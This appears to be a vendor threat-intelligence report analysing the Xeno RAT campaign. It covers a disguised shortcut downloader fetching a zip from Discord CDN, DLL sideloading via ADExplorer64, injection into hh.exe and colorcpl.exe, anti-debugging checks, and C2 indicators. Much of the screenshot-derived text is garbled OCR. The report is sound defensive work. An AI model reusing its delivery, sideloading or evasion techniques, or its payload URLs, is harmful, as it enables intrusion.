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EXECUTIVE SUMMARY

At CYFIRMA, we are dedicated to providing current insights into prevalent threats and strategies utilized by malicious
entities, targeting both organizations and individuals. This in-depth examination focuses on the proliferation of Xeno RAT;
an intricately designed malware, crafted with advanced functionalities, conveniently accessible at no cost on GitHub. The
research explores the array of evasion tactics employed by threat actors to evade detection, while also illuminating the
procedures involved in crafting resilient malware payloads. Significantly, the report underscores the adaptive characteristics
of these threats, emphasizing the imperative for enhanced security protocols and user vigilance to effectively mitigate

associated risks.

INTRODUCTION

In an era where cyber threats evolve at an unprecedented pace, understanding and combatting sophisticated malware like
Xeno RAT is paramount. This study provides a concise overview of Xeno RAT; a potent malware written in C#, boasting
advanced capabilities. Delving into its dissemination, evasion techniques, and resilient payload generation processes, this
paper aims to shed light on the dynamic nature of contemporary cyber threats, emphasizing the urgent need for heightened

security measures and user awareness in safeguarding against such malicious entities.
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KEY FINDINGS

» Xeno RAT possesses sophisticated functionalities and characteristics of advanced malware.

¢ The malware’s developer opted to maintain it as an open-source project and made it accessible via GitHub.

¢ A threat actor customized its settings and disseminated it via the Discord CDN.

e The primary vector in the form of a shortcut file, disguised as a WhatsApp screenshot, acts as downloader.

¢ The downloader downloads the zip archive from Discord CDN, extracts and executes the next stage payload.

¢ A multi-step process is employed to generate the ultimate payload of the malware.

It looks for the debuggers, monitoring, and analysis tools before executing the final stage.

 Utilizes anti-debugging techniques and follows a stealth operation process.

e Malware adds itself as scheduled task for persistence.

¢ Leverages the DLL search order functionality in Windows to load the malicious DLL into a trusted executable
process.

 Injects the malicious code (process injection) in the legit windows process.

e Performs continuous monitoring of the compromised systems.

» Employes extensive obfuscation techniques within files/code to evade detection effectively.

o Uses obfuscated network traffic to receive instructions and updates.

e Communicates with C2 with status updates and receives instructions at regular intervals.

ETLM ATTRIBUTION

The developer of the Xeno RAT opted to open-source the code and made it available for free on GitHub:

Projects Secunty Insights

Go to file <> Code = About

Xeno-RAT is an open-source

. moomB25

AT

remote access tool (
developed in C#, providing a
B Plugins R S e ~
g comprehensive set of features

¢ client for remote m management.
seno rat client -
Has features such as HYNC, live

o rat server microphone, reverse pre and

much much more!
Agitignore

LICEMSE

README.md

Source: https://github.com/moom825/xeno-rat

The developer also pledges to continuously provide updates over time, incorporating additional features into the malware.
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Xeno Rat
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The Xeno RAT Server includes a builder module that enables the creation of a customized version of the malware.

A threat actor utilized this capability to develop and distribute their own version of the malware via the Discord CDN. They

employed a shortcut file acting as a downloader, responsible for fetching and executing subsequent payloads.

The analysis identified the domain internal-liveapps[.]Jonline, which is linked to the threat actor and resolves to the IP
address 45[.]161[.]139[.]51. Both the domain and IP address have lower detection rates.:
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45.61.139.51 (45.61.136.0/22)
AS 399629 (BLNWX)

Community Scora

No known threat actor association has been identified with this Domain/IP address.

Threat Landscape: from an external threat landscape standpoint, the presence of freely available malware with advanced
capabilities, such as Xeno RAT, which undergoes active development to enhance its features, highlights a concerning trend.
Cyfirma’s research team highlights the evolving tactics of threat actors, who leverage open-source malware to craft

customized creations to compromise their targets.

The developer of the original malware binaries showcases adaptability by employing diverse techniques to obfuscate the
malicious sample, with the goal of maintaining undetected for an extended period. This underscores the necessity for

ongoing vigilance and the implementation of advanced detection measures to effectively combat these dynamic threats.

ANALYSIS OF Xeno-RAT

File Analysis

File Name Screenshot_2024-01-30_w-69-06-18264122612_DCIM.png.Ink

File Size 3.21 KB (3,293 bytes)

Signed Not signed

MD5 13b1d354ac2649b309b0d9229def8091

SHA-256 848020d2e8bacd35c71b78e1a81c669c9dc63c78dd3db5a97200fc87aeb44c3c
Date Modified 17-10-2022

The primary malware sample is delivered as a shortcut file (.Ink) labeled with the description “WhatsApp_2023-12-12_12-
59-06-18264122612_DCIM.png”:
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7= Screenshot_2024-01-30_w-69-06-18264122612_DCIM.png Pr. X

Termiral Securty Details Previous Versions
General Sharicut Cplions Font LayoLi Calors
?t— Sereenchot_ 2024-01-30_w-£5-06-18264122612_DCIM

Targst type: Application

Target location: Sysem32

Targst: |C “Wirdows\Systam 32 emd exe ARONAT et 5.IF|

Start in: |':Z'.UEIBT‘EI JEUaer AppDataRoaming |
Shoreut key: |"dcne ‘

Run: Minimized ~

Comment: |h"-'hets.—‘-m_Q.‘.'Z}-l2-12_12—59—&5—13254122E12_ |

Open Fle Location Change lcon... Advanced...

The file functions as a downloader, utilizing the Windows command shell to retrieve, extract, and execute the payload from

a zip archive, located at the Discord CDN URL. The target field of the file contains obfuscated command line arguments:

Command Lin rguments

De-obfuscated command line argument

BEHAVIORAL & CODE ANALYSIS

1st Stage Execution:
The de-obfuscated command reveals downloads from two shortened URLSs, both pointing to Discord CDN URLs. The first

URL in the command downloads a non-malicious image, while the payload is retrieved from the second URL.
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GET /mtznbnn? HTTP/1.1
Host: tinyurl.com
User-Agent: curl/8.€.1
Accept: */*
Connection: Keep-Alive

HTTP/1.1 361 Moved Permanently

Dat=:

Content-Type: text/html; charset=UTF-&

Transfer-Encoding: chunked

Connection: keep-alive

Location: https://cdn.discordapp.comfattachments/128656328082276063862/1286563342605361222/1.jpeg?ex=65dc7oadiis=65cadladihm=eT6ls
f661476dBb23498081-48afdc4f5c993Bac FE6B3cBac 7fde98dcB6ec? a0l

Referrer-Policy: unzafe-url

X-Robots-Tag: noindex

X-TinyURL-Redirect-Type: redirect

GET /mrz2bnSf HTTP/1.1
Host: tinyurl.com
User-Agent: curl/8.6.1
Accept: */
Connection: Keep-Alive

HTTP/1.1 281 Moved Permanently

Date: %

Content-Type: text/html; charset-UTF-8

Transter-Encoding: chunked

Connection: keep-alive

Location: https://cdn.discordapp. com/attachments/1286563288227663882,/12065541598238168588,/Drivers . rip?ex=65dc7 77881 s=65cad27B&hm=
99311cazebTi3Tees3d37aa6531920das4ec56baa2o9T5988278031C5275708478

Referrer-Policy: unsafe-url

X-Rebots-Tag: noindex

X-TinyURL-Redirect-Type: redirect

Request/Response traffic from LNK file

As indicated in the de-obfuscated argument, the zip archive is downloaded and extracted in the directory

“C:\Users\user\AppData\Roaming\Adobe\Drivers”.

The zip archive:

File Name Sys.zip

File Size 2.13 MB (2232447 bytes)

Signed Not signed

MD5 6f9e84087cabbb9aaa7d8aba43a84dcf

SHA-256 4d0d8c2696588ff74fe7d9f8c2097fddd665308fccf16ffea23b9741a261b1cO
Date Modified 17-02-2024

The zip archive contains three files, two portable executable (exe and DLL) files and one unknown file named as
‘LICENSE’:

AppData » Roaming » Adobe > Drivers v O O Search Drive
Name ) Type Size

: Sys.zip Compressed (zipped) Folder 2,181 KB
|_] samcli.dll Application extension 293 KB

| | LICENSE File 2315KB
- ADExplorertd.exe Application 647 KB

Extracted Files from Sys.zip
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as an advanced Active Directory (AD) viewer and editor:

Filename: ADExplorer64.exe

MD5: 2661f8272ada236¢f3aeb9ce9323626¢

SHA-256: e451287843b3927c6046eaabd3e22b929bc1f445eec23a73b1398b115d02e4fb
Signature: Signed file (valid signature)

File version: 1.52

The DLL file “samcli.dll” is the malicious payload. It mimics the name of the genuine DLL file “Security Accounts Manager

Client DLL,” which is typically located in the C:\Windows\System32 directory on Microsoft Windows systems:

File Name
File Size
Signed
MD5
SHA-256

Date Modified

Samcli.dll

292.92 KB (299952 bytes)

Signed

7704241dd8770b11b50b1448647197a5
1762536a663879d5fb8a94c1d145331e1d001fb27f787d79691f9f8208£c68f2

12-02-2024

While the file is signed, the certificate within the signature cannot be verified:

certificate

revicion

type

file-offset-from
file-offset-to
size-certificate
size-PKCST
size-PKCST-null-padding
footprint > shal3f

issued-to
name
signature-info
issued-by
signing-time
walid-from
valid-to
serial-number
thumbprint
signature-algorithm
prograrm-narne
email
more-info-url

0200 (WIN_CERT_REVISION_2_0)

(0002 (WIN_CERT_TYPE_PKCS_SIGMED_DATA)

(00042000

000045380

01380 (5040 bytes)

0x13A3 (3027 bytes)

| bytes

143CCOBFTEB4ACADY T C32DF178A35T19C040DCF2668E1 E98200FDTH14C 523038

nvidia.com

A certificate chain could not be built to a trusted root authority,
Arnazon RSA 2048 MO2

Sun Feb 11 21:30008 2024

Tue Jul 18 16:00:00 2023

Fri Aug 16 15:58:50 2024
OFD72A4584813E27085ACDBEEAATEZTA

sha23eR5A
MozDef Corp

Certificate detail of samcli.dll

The LICENSE file contains obfuscated text with read/write permission:

File Name

File Size

LICENSE

2.26 MB (2370164 bytes)
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Signed No

MD5 0aa5930aa736636fd95907328d47ead5

SHA-256 96b091ce5d06afd11ee5ad911566645dbe32bfelda2269a3d3ef8d3fa0014689
Date Modified 12-02-2024

Name LICEMNSE

2.4 MB
Date,/Time - 24:8
Date/Time
Inode Change Date/Time
Permi

Type
[ype Extension
Type
Encoding
in
Line Count
Word Count

LICENSE file detail

B ucense £
OUEm0dGrx] IRgxy2FoVOBnS w2 shhObE 1 THHORp 2 lewg 0B Y IxThéec IUDybmpr iuttudbr 1B/ HEwh £C1FPOz0dvxh I zdNRtwh DE £ 0dxSDy Voa e IKpDDhHua IMGS1 5+
OVHFWZSGTXE DEON WG 0N 71/ 3Mzpgbnio 0503 587 7 IULDg 9vEMvUVEVZEPVEZ / tHga I +htwHWDDSE3K1 4wt CEVASRSANENK c2 1 TgcZbELDEREN+0Z daW /2 TGLWAL
SEpUASvEOKI & JbN]¥hGI kEeyWIARXTZ1 MRS FMTlCSADEZ TAEnD + L LR JNEEMI I FZ024pehM TShTIr T8 +SEm WgckWok 3 JoL 2417 3yz + +R0GE3pNT L / GQEsHPGD
Q4xs6En1cg/ CSCUTESQZFHEdc 9ahNZg4T TtCe0ihecRIdXINYOTr 8 d FH10VELabN N JE: YD LAV TROul NV ] 3ASunnQ0hnu bV 2 r3ceTV1YouhYLET Ty R TYvMp+FR
X7=5+J0HSPShp SheIPexT I DuXxJhmdgwWH OVenmS z=Vep kN S Tgé+EjMBLiUF TmW 6heH S pOOU3ONLSOKbdSgR1Bseg S Los EDWname REMZ Y B cTa f lm7EISn 2 e+ SZGPD
wHacEveeTG3bTiRITITExaHo? PFSkdhUjRzBiag+l1 P2by+KyoDaEX1 FVEQ/ Coymvtdodn/ eCzRG+3mTCCeGrN i Nbax Lo] SFiKKY SxTBTr 2 cBp3phFro2 04 0THua] Ay
bap okbmRuCHN kb eThae PCC1XmINCa Sl xuvelvVimzgz grEsFUneSx 1 AY 1 g LWcKERH g R tvMACK s AwbUCOvp kI kon DEOHQCL TLaVAC W 1l e J e Tw P ChzUdFSC 1 ¥X INEmVE
IXMOuTEFRoGna X1 YuTRE/ +eixkOulkadius3FD/ ¢mEZ sWEXhIL, gBSahozPQzaRH] LLZEXZEGI g QrnEL SN ZERY 2p T YKL e TEFJ1CW VL TR DpXLe kAR E+AMTVEH
2EAVILA+LJEJCOMvELEWMN Y QVEr 2V G5 ShpBSMnE s FEWwEe R 2+1 8/ D ERvy3Xer 1A/ TeTnOT+vheWIT S4Q0YYYKI4512 f 6Ww5F 2 L SHELZTuF IwRQ2med 5vwgh £ COKDTows
Bjzplij0F/HITI2 T¥bO+uniwh ySoFkug 4 Xz zDBX fEE c INYNCvwzgBe D5bI0bbil zr FLawFbadd0+oE0iwdA329E 3 1K ixB EwPEB+HpEiGjTSIHOmT SYS aD0w TET, 0+
TEkOtDOBryTaTEgZzfPEON=Krqil 33Labxl ReZ JACT +/ kgl OH+V1 3 I FxFeT fo+ HipVnVE4FhDE e IT3=C] Y +Ade+udCT I sapevdgogdka Vh3E 1EVebyRh 3aGkgmy's
B3ml4xhir8y?Cat+CH4TBSmoVD0SUgrOCGrYHETvEOAT06 kgFXhaF 7iwlBR4 k=1 JE kTdJoxpEEALvnY ] 40pne r LOWI K] PAfwogdMFPg 9 ImOB+tv1+/Eqd4vRt lzRww
ZECZYgVMRScHoCTONVESEr 0 /T4 LFBjexr dgglnbJact EUDfac3 Tqogomc EVEUD kZ2NDASInhaa In 0 YmOoUTRL 6L 91 ELLgZpkdha 5a3WssTEALUN S IF4 JREKEXERT+TEQ
ETETOgLTNg ) € 0FADCCa] KEYWCFkJwlx I 6NUS 1Te06EpE] ] LngDhEz 56 Zp6CkdpFuShbvIvMWEdS e+nC3a0H0 2N cUga, ved 91 zE8dBV32 s inbaEsCHa Hh EXX g T SAkE
TD?XBSaCL‘:2El'I‘ZH'K}J'I‘LC3A+)(£RD:YES‘_:+5t£+REY5anstM}:luf5‘J2|;Tr|2JIZGFd1‘JJ‘]'fq'lﬂ'.l&gbiMLGu'_Ql'EJZJFSDJTE-'J'har‘.‘KTGH’ENlu'_,-‘Rl? 1mPOIORIDSKEOTrL
gTidb43JvzaflEprTésS 1ChScdd4r PRGT 0 vo0bJJcSA2 rEiCRws 1T FWwT Twiwe=+himZpikuE rihdgHlnoR0hvu S 5 inmEcLiwE r g FRKI MEmk 0 EQwidEXDEDNRLWEpFR L
THYxyvDITI14R+FhOBPEHZVIBIRMC4HE r¥zt0Lo3 3 VAsnCDFXFHN 7 2 kB] SWeeHEWVan F+ Z4R L/ V2d0rVZ £4AVT € 0wg DS CEpOhiGURZn T ThW Scrr4dokL.f gJEHGLE ]

Obfuscated content in LICENSE file

2nd Stage Execution:
During the second stage of execution, the command from the .Ink file initiated the Active Directory Explorer
(ADExplorer64.exe) without any prompts (command: ADExplorer64.exe /accepteula /snapshot 127.0.0.1 faa -

noconnection).

ADExplorer64.exe relies on samcli.dll, typically found in the Windows\System32 directory, for its functionality. In this
scenario, the threat actor exploited the DLL search order functionality of the Windows operating system by positioning the
malicious DLL with the same name in the current working directory. Consequently, the malicious samcli.exe is loaded into

the process of ADExplorer64.exe.
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Loading malicicus samcli.dll into the process of ADExploreré4.exe
In the subsequent operation, ADExplorer64.exe also reads the obfuscated file LICENSE:

Dperation Path

paming Exdc't-e Drivers\LICEMNE UCCES Iiﬁ'~e1. ._4L-ft- Length: 40
ing\Adobe\Driv {
—reaeiTe R OO IO TUD
SXRERCEIS RBK 000000237 GFFODDS
test byte ptr ds:[7FFED30Z],1 RCX E
e ntdll.7FFEEZC40125 RDX adexplorer 64, 00007 FFT 63670000
REP
rET
RE e RSL L1
ret 5 i RO T
o ot s axtirax],cax
:g: ZeDeviceTocontrolFile Ra L'E"
51 [7 1 R LTPE"
tﬁftnaﬁ i A ] 1 R1D ntd11, DOO7FFBE3CAD L24
h A1l 0000000000000 46 Lrg"
ret R1Z  0O00ODO00D001000
irt oc R13  0O0CO00CODOOOO0E
FET Rl4 OO00ODOO0D000 000
nop oword prr ds: [rax+rax],eax R15  OOD0DDLEFOBEFT 3C0 ~ OPMONIGE ¥ ] 3RO XYBFIVISNSTW3S NNOBE LIK-HIR DS KWOOBYDN T h
mov 10, rcx TwwriteFile
mov ean, B B i RIP  OODOTFEREICADLZA ATATT . DODOTEFEECADL2A
test byte ptr ds: [FFFE0308],1
&"'td”-rFFEEK‘Dl“ RFLAGE  00D000DI0000020D
ZF 0 PE O AF D
B OF D S G DF D o
e CFO TFao IFL Initial Strings from
AOp dword pTe Os [ranesan] . ean 3
mov rid, rc 2 g NtRemovelodompletion LastError 00000000 (ERROR_SUCCESS) LICE Efile
MOV Eax . 9 it | amFRtabie COMANAAT FETATIIE TRWA| TN RARAMETER
TesT OyTe pIr ds:[FFFED3DS], 1 3 2
in: ntd11. FFFEESCA0L1ES ik (o il [z =] O et
ret Li rcx ODDOULEFO&SA3ELD CODDULEFOSSASELD
fi6E =c % | 2 rdx O0ODOFFFTE3670000 adexplorer 54, 0000FFFTE3 670000
= 3: r3 0000000000000115 OC00000000000118
41 r9 0O00DO0237GFFDEES 000000Z37E6FFDEES &"FPE"
5: [rsp+2B8] 0DO0002975FEDCFD 000000297 6FFDCFD
G: [rsp+30] 000001EF05773CO 00DOOLEFGSGE73CD "OPMOdGrx]IRGHyBFMVQENST w3shhake
7t [rsp+2E] 0000O000COD01000 0O00CODOG000L000

ADExploreré4 reading the LICENSE file

Furthermore, ADExplorer64 creates a suspended process named “hh.exe”, writes into its memory (process injection), and

then resumes the thread:

Page 9 of 18



https://www.cyfirma.com /research/xeno-rat-a-new-remote-access-trojan-with-advance-capabilities/

mov rl0,rcx IwCreatelserProcass RO DOOOOLE! 200D 440 :

mov eax,Co REFP  O0D0000E7 200FEBOD &L"C:%\Windows' \hh.exe”
test byrte ptr ds:[FFFEC3DE],1 RSP Oo0000BT 200FD 358
| ne ntdll.7FF3E3C4EITS RSL 0000025 EAG2ES 380
| _ret NTCreatelserProcess RDT O00O0 00000000000

lg‘tt 2E RE 0000000002000000

nop dword ptr ds: [rax+rax],eax Ein Egg%ggggig:ﬁzgg

mgﬁ ;ég:gix IwCreatewaitConpletionPacket ]

test byte ptr ds:[FFFE03DE],1 Rlz  O0OO0OCCOCOOOOOGOL

jne ntdl].7FF3E3C4EIDS R13  0O000C0000000002

_ R14  0000000D00000008

ret R15 Qo000 00000000000

e 2E

ret RIP 00007 FFBE3C4ES72 ntdl11. CO007FFBEICAEIT2
nop dword ptr ds: [rax+rax],eax

mav rl0,rcx NtCreatewszitablefort

mov eax,CE E

test byte ptr ds:[FFFE03DE],1 ¥ || pak: (364 Facteal]

& 1 rcx 0DO00000B7200FD438 000000ET 200FDA3S

rax O0000B7 200F04A0 QOOCO0DET Z00FDAAD

2:
ThreadFlag 3: r& 0000000002000000 OO00000002000000
\ 4: r3 0000000002000000 O000000002000000

50 [rsp+28] 00O0O00000000000 0O00000000000000
6: [rsp+30] OCO0O0RO00O00000 CO00O00O0OaH000
Wspi—ﬂi] QOO0000000000000 00000000000 3000
i H sp+407 0000000000000001  0O00000000000001

Creating suspended hh.exe process

ADExplorer64.exe modifies (decoded for its own function) the content that is read from the LICENSE file and injects them

into the process memory of hh.exe:

mov rid,rcx : ' NtwritevirtualMemory RDX  0000029AEB9E0000
moVv eax,3IA EL TR REBP 0000002376FFE3CO &L "C:\\Windows'\hh. exe™
test byte ptr ds:[7FFE0308],1 RSP 000000297 6FFCCLE
jne ntdl1.7FF3E3C4D7AS B . RSI  0000000000000005
h NtwritevirtualMemory RDI  0000000000000000

Process injection in hh.exe
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Address

Hax

COODO1EFDBEF 7 3IC0
COODO1EFDEEF T 2DO
COODOLEFDBEF F ZEQ
OOODOLEFDEEF 7 IF0D
DOOIILE FOEEF 7 300
COODOLEFDEEFT 410
COODO1EFDSEF T 420
COODO1EFDBEF T 430
COODO1EFDBEF 7 440
COODOL1EFDBEF T 420
OOO0DOLEFDBEF 7 460
OOODILEFDEEF 7 470
DOOMIILE FOEEF 7 350
COODO1EFDEEF T 430
C0ODO1EFDSEF T 440
CG0ODO1EFDBEF T 450
COODO1EFDBEF 7 4C0
COODO1EFDEEF 7400
OOO0DOLEFDBEF T 420
OOODOLEFDEEF 7 350
DOOIILEFDEEF 7500
COODO1EFDSEFT 510
CoODO1EFDBEFT5Z0
COODO1EFDBEF 7530
COODOL1EFDBEF 7540
COODOL1EFDBEF 7550
OOO0DOLEFDBEFFEED
OOODILIEFDBEFFL70
OOHKILEFOEEF 7550
OOO1EFDEEF 7530
CoODO1EFDSEF T5A0
COoODO1EFDBEF 7580
COODOL1EFDBEF F5C0
COODOL1EFDBEF 7500
COODOLEFDBEFTLED
OOODOLIEFDBEFFLFD
OOOIILE FOEEF 7500
OODDO1EFD8EF T 10
C0ODO1EFDBEF T 620
COoODO1EFDBEF T 630
COODOL1EFDBEF 7 540
COODOLIEFDBEF 7G50
COO0DO1EFDBEF 7 660
OOODILEFDBEF 770
DOMMII1E FXEEF T 580
OODDI1E FOSEF T 530
CG00ODO1EFDSEF T 6A0
COODOL1EFDBEF T 630
COODO1EFDBEF F L0
COODOLEFDBEF 7 GDO
COODO1EFDBEF T GED
OOODILEFDEEF 7RO
DOOMII1E FOEEF T 700
OODDO1EFDSEF T 710
C0ODOLEFDBEF T FZ0
COODOLEFDBEF T 730
COODOLEFDBEF T 740
COODOLEFDBEF 7 750
COODOLEFDBEF T 7E0
OOODILIEFDBEFF 770

mov rid,rcx
mov eax,52

oL oo
00 00
LS
0 T
00 00

00 &0
00 o0

D0 00
DO 00
00 e

0o o
Do 00

Do 00
DO 00

Sl UG Sl O3
AR o 05

oL T
0 00
00 @0
00 &0

=

[iZa]
e}
00
18]
1]
oa
oa
L)
00
e}
00
Z1

0o o
0o o
Do 00
Do 00

Do
Do
]
1u]
oo

0o
00
L]
1ln)
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Medified content of ICENSE file

ZnwResumeThr ead

B2:'R"

test byte ptr ds: [7FFE0308],1

I'rle ntdll. 7FFBE3C4DAAS

| NtResumeThr ead

RDX
REBP
RSP
RSI
RDI

000000297 6FFE2ZCE
000000297 6FFE3CO
000000297 6FFEZ288
O0000LEFOBEF3IFC2
000001EFDB6F3FC2

Resuming hh.exe process

ADExplorer64.exe also created two shortcut files in the current working directory:
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Process Name Operation
"A[]E):plorer&"r.._ B CreateFile ! ) ideInk Jesired Ac Read Afiributes,
W& ADExplorer4. . [ CreateFile ) i
‘ADE.‘:FJ|OI’EWE"1-... B CreateFile ! \Guide Ink ;
’AEIE):plorerEﬂ’r... B WriteFile I ) \Roaming), ) s\Guide Ink fiset 0, Length: 1154, Priority: Normal

& ADExplorere4. .. B CloseFile ,

Wh ADExplorerG4.. B CreateFile y ) SuppartL sired Ac : Generic Write, Read
’AE]E):pIorerEv"r. . B WriteFile ! ; \ \SuppartL Offset 0. Length: 179, Priority: Normal
‘AE:IE):pIorerEr-i_._ B CloseFile " a\Roaming), \Drivers\Supparturl

i | ¢ Guide Properbes 4
. |
Gereral  Web Document Spourfty  Detaie  Previous Veriors ! Seouity Dictais Previous Versions
Ganeral Sharteve Compatikilty
F-_;II Suppert i \
F X N
A Gride
[l
URL: nappDatalRaaming.Ldobe DAvers\Guide. Ink

Taruettvpe:  Application

N
Shortot key: | Nona Target location: Diivers

Target | Driverst ADExplorerid ex= snapshot 43 52.1 09 |

Viaite: nknown

Ch lean....
S Start in: |C.'.Uzers'.U:er-AppDa‘lﬂ‘-Ht:minq |

Shortot key: |N:rc |

Run: Marmal wircow =
Comment: |S¢si1:emals Guide Shortcut |
{Jpen File Location Change lcon... Advenc=d. .

The Support.url file points to the Giude.Ink file, which runs the command that executed the ADExplorer64.exe at initial

stage, as shown in the above screenshot.

3rd Stage Execution:
During the third stage of execution, the hh.exe process generates a suspended colorcpl.exe process and subsequently writes

into its memory (process injection):

mov rlo,rcx ZwCreatelserProcess

33 TAC3
mov 23X 00000033FG3T 3

00007 FFEE3C4E

&"PE"
ntdl 1. 00007FFEE3C4EDT4
L "

test by ptr ds:[FFFEO3D8],1 - =
ne ntdll. 7FFBEICAEITS : 000000000000024E
0000000000000001

ret 0000000000000002

Sem or AANNAANANAANANN S
Type Type numb| Handle ACCESS Name
Process 7 1A0 1FFFFF PID: 3996 (\Dewvice‘\Harddiskvolume3'\Windows' System32hcolorcpl.exe)
Thread 5 190 1FFFFF TID: 2540, PID: 3396 (‘\Device\Harddiskvolumes\windows'systemsz\colorcpl. exe)
File el 1a4 100041 Devicel Harddi skvolume3hWindows' System22\ colorcpl . exe

L1 4 -
= =

=

reat. FileM=pping
ndardinformationFile

Ty T T IITITIITITITITITITI
wm
=
@ oW oW

m e T o o

e
e
e?
B2
B2
E?
B2
g2
E':'
e
B2
B2
B2
4

[ - -

Created suspended colorcpl.exe process and wrote process memory

The hh.exe process terminates and colorcpl.exe process resumes under the explorer.exe (parent process):
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Sysinternals - www.sy
Micr mporation  "C\Windov

Microsot Corporation  colorcplexe

ppDatalRoaming eula -snapshot 127.0.01 faa -nocol

dobe\Drivers\ADExplorerté exe ADExplorertd. exe [a

\hh exe"

Process Tree

The injected process hh.exe employs defensive measures to evade analysis:

Results - hh.exe (3412)

1,976 results.

Address Result

Ox191fa0f4428 ollydbg. exe

Ox191f00f4480 idaga4.exe

Ox 15 1fu0fa4bn idawé&4d. exe

0x19170f44e0  lidag64.exe Looks far Debuggers
D19 1f00f4510 idaus4. e and ana vsis tools
Ox191f00f4528 scylla.exe

Ox191f0f4540 scylla_xEd eve

Ox191fo0f4560 scylla_xs5.exe

Ow 19 1f00f4580 protection_id.exe

0x 19 1f00f45a8 x64dbg.exe

O 19 1R0F45c0 w32dbg.exe

0x191f0f45da windbg. exe

Ox 19 1f00f45f0 reshacker. exe

Ox191fa0f4610 ImportREC.exe

Ox191f10f4630 [MMUMNITYDEBUGGER..EXE

Ox 15 1fu0faasn devenv.exe

Ox191f00f4678 Procmon.exe

0% 19 1f0f4520 Procmonéd, exe

Ox191fo0f46ca disassembly

Ox191f0f4758 Import reconstructor
0x191fuof4790 Process Monitor - Sysinternals: fvww.sysinternals, com
O 19104800 7eta Debugger

0x191f0F4820 Rock Debugger

O 19 1f00f4840 ObsidianzUI

Ox131f0f4860 WinDbgFrameClass
Ox191f00f4ad0 PROCMCM_WINDOW _CLASS
Ox131fa0f4900 explorer.exe

Ox 19104978 Unpacked exe

Ox191f00f4e0c  [Hookbrarysed.dl |
Ox191f00f4eaf HookDlIData

Ox101f0fdebb | Hookedoetiocamme  LOOKS fOr hooked
Ox191fo0f4ece HookedGetsystemTime [ | §
Ox121f0f4ee? HookedGatTickCounta4
0x191fuof4ef7 HookedGatTickCount

O 19 1f0F405 HookedKiserExceptionDisgatcher
0x 19 1f0F4f2a HookedNativeCallInternal
Ox191f00f4f43 HookedMtClose

Ox151f00f4f51 HookedMtContinue
Ox191f0f462 HookedNtCreateSection
Ox151fa0fafre HookedMtCreateThread

defensive measures used by hh.exe

Final Stage Execution:
In the final stage, the execution of colorcpl.exe commences. It performs a check to ascertain if there is any installation of the

Xeno RAT on the victim machine:

NAME NOT FOUND
PATH NOT FOUND
NAME NOT FOUND
PATH NOT FOUND

no rat

no rat client\eno rat client.dll

ystem32'xeno rat client exe
32\xeno rat client\xeno rat client.exe
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After confirming the nonpresence of Xeno RAT (on an uninfected host), process starts communicating with the the domain
“internal-liveapps|.]Jonline” which resolves to the IP address :45[.]61[.]139[.]51:

104 Standard guery @x6all A internal-liveapps.online

120 Standard guery response @x6all A internal-liveapps.online A 45.61.139

DNS traffic

It sends and receives obfuscated content over the network continuously, exhibiting a pattern resembling to Remote Access

Trojan (RAT) activity:

RS Kh v koA TRl |
PowkA ... Kh kAL £ 3. |
Pow kel A Kh cwo kA W [
oo ol | [ Kh kAL el ||
P | (R Kh kAL (R B
Polw kiAol Kh_ wlkAl wikCA| o
Pow kAL Kh wokLAL AL
PoowkeAd ool Kh_ kAL kAL
P koAl kh ceklAL | kAL
Ploiml kAL Kh_ cwo kAL kAL
B PN " Kh koAl YT W I
Powkon | kh cwklad RT3 VN I
Polw kALl Kh cwokel AL ok Ao
Poow kAL ... Kh kel AL Sl da | |
Poow koAl |l Kh_ kAL 0l | |
Poow kAo Kh wl kAl kAo
Poow kA ... Kh_ kLA Tl | |
Foow kA ... Kh kAL vk
PoowkoA ..o Kh conlklad - sl
o] | | Kh_ cowl kAL cemL k.
Poow kAl ... Kh oL kAL <.k
PoowkeA ... Kh corlkLAL] L ..k

Sl et | ok -k

TCP communication of colorcpl.exe process

The mapped memory of the colorcpl.exe process reveals its capabilities, including communication with a command-and-
control (C2) server over a SOCKS proxy, receipt of commands, transmission of updates, addition and removal from the

startup, and the ability to uninstall itself:
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(x202cdalahi
0x2020dbe 7936
0x202cdbed42d
0x202cdbc843d
0% 202-dbeB Ted
0x202cdbea 700
0x202cdbca 7hf
0x202cdbca 713
0x202cdbr9gla
0x202cdbrogse
0x2020dbr9E8c
0x202cdbe9sbe
0x202cdbe98eB
0x202:dbe99 18
0x202zdbeods
0x202cdbra973
0x202:dbe39a5
0x202cdbr99da
0x202cdbe2als
0x202cdbc9ais
0x202-dbe3ass
20 2cdbe9aa9
ox202cdbegaea
0x202cdbeab id
020 2cdbeob 54
020 2cdbeab7d
0x202cdbeobbg
0x202cdbrsbed
Ox202cdbeSc10
0x202cdbc9cay
0x202cdbcad
Ox202-f431da2
Ox202cf431db2
0x202:F4323d4
0x202:F442a5a
Ow202-f442a6a
Ox202:F443104
0x202:f53b24
%2022 7dbd4f0
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xeno rat dient.exe
xeno rat dient.exe
xeno ret disnt
xeno_rat_dient
xeno rat disnt
yverno gt disnt

fweno_rat client.DIHandler+<0DliNodeHandler=d__ 3
+xeno_rat_dient. Handler +<CreateSubSodk=d__3
 xeno_rat_dient. Handler +<GetAndSendInfo=d__5
*weno_rat_cient.Hander +<TypelReczive>d_ &
*xeno_rat_dient.Hander +<Type Recive>d_ 7
axeno_rat_dient.Hander +<setsetlld>d__8
*xcno_rat_dient.Hander +<TypeRewive=d__ 9
(xeno_rat_dient,Handler +<DebugMeru=d__ 10
-weno_rat_dient.Handler +=SendUpdatelnfo~d_ 11
foceno_rat_dlient, Mode+<Disconnect=d__10
fweno_rat_dient. Mode +<ConrectSubSockasync=d_ 11
(weno_rat_client.Mode +<Recevelsync=d__13
Boxeno_rat_dient.Node +<SerdAsync>d__ 14
-weno_rat_dient.Mode +<AuthenticateAsync=d__18
=xeno_rat_dient. SocketHandler +<RecvAlAsync_ddos_unsafer=d__4
sxeno_rat_dient, SocketHandler +<RecvallAsync_ddos_safer>d_ 5
-xeno_rat_dient, SecketHandler +=<SendAsync>d__9
ixeno_rat_dient.SocketHandler +~ReceiveAsync>d__ 10
#xeno_rat_dient. Frogram +<Main>d__11

1xeno_rat_dient.Utils +<ConnectAndSetupAsync=d__14
*weno_rat_dient.Utls +<RemoveStartup=d__15

fxeno_rat_dient. tils+<Uninstall =d__16

1xeno_rat_dlient. s +<AddTeStertupMonAdmin=d__17

Comimand receiving

ca néwﬁes

Chatting capability

xeno_rat_dient, Utls+<AddToStartupAdmin=d__18

xeno rat disnt.axe
xeno rat dient
xeno_rat_dient

Heno rat cdient
weno_rat_dient
